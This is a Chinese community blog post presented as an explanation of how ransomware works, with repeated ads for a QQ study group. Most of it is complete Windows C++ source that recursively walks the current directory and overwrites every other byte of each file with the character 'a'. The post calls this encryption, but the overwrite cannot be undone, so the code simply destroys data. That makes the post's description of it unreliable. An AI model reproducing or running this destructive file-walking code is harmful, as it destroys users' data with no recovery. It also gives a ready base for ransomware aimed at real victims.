勒索病毒原理解析
【摘要】 一、编程思路什么是勒索病毒:遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。工具:操作系统API,加密算法思路:1.程序设计 思路规划清楚1.1 加密单个文件1.2 遍历文件系统并加密文件2.工程实现: 编程3.测试上线 :、测试欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包二、代码解析//...
一、编程思路
什么是勒索病毒:
遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。
工具:操作系统API,加密算法
思路:
1.程序设计 思路规划清楚
1.1 加密单个文件
1.2 遍历文件系统并加密文件
2.工程实现: 编程
3.测试上线 :、测试
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
二、代码解析
// 文件遍历加密.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <string.h> #include <windows.h> //加密fileName这个文件 void jiami(char* fileName); //遍历文件夹并找到每一个文件 void findFile(char* pathName); int _tmain(int argc, _TCHAR* argv[]) { // jiami("1.txt"); char buff[256] = { 0 };//2^8 char 8bit GetCurrentDirectory(256, buff); // printf("文件夹名字是:%s\n", buff); findFile(buff); while (1);//死循环 停顿 return 0; } //遍历文件夹并找到每一个文件 void findFile(char* pathName){//不要在C盘运行这个程序 //1 设置要找的文件名 char findFileName[256]; memset(findFileName, 0, 256);//清空数组 sprintf(findFileName, "%s\\*.*", pathName); printf("要找的文件名是:%s\n", findFileName); //2 找这个要找的文件 WIN32_FIND_DATA findData; HANDLE hFile = FindFirstFile(findFileName, &findData); if (INVALID_HANDLE_VALUE == hFile){ printf("找文件失败!\n"); return; } int ret = 1; char temp[256]; while (ret){ if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY ){ if (findData.cFileName[0] != '.'){ memset(temp, 0, 256); sprintf(temp, "%s\\%s", pathName, findData.cFileName); printf("找到一个文件夹:%s\n", temp); // Sleep(1000); findFile(temp); } } else{ memset(temp, 0, 256); sprintf(temp, "%s\\%s", pathName, findData.cFileName); printf("找到一个文件:%s\n", temp); //加密这个文件 jiami(temp); } ret = FindNextFile(hFile, &findData); } } //加密fileName这个文件 void jiami(char* fileName){ //1 打开文件 FILE* fp = NULL;//文件指针代表一个文件 // 文件名 打开方式 r r+ w w+ a a+ fp = fopen(fileName, "r+");//要能读能写并且不能覆盖 if (NULL == fp){ printf("打开文件失败!\n"); return; } printf("打开%s文件成功!\n",fileName); //2 拿到文件大小 //2.1 设置光标(文件内容指针)到文件末尾 fseek(fp, 0, SEEK_END); //2.2 计算光标位置距离文件头有多少字节 int size = ftell(fp); //2.3 设置光标位置到文件头 fseek(fp, 0, SEEK_SET); printf("文件大小为:%d字节!\n", size); //3 每隔一个字节插入一个字节 char code = 'a'; for (int i = 0; i < size; i++){ //写入1字节 fwrite(&code, 1, 1, fp); //把光标往后挪1字节 fseek(fp, 1, SEEK_CUR); } //4 保存关闭 fclose(fp); }
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)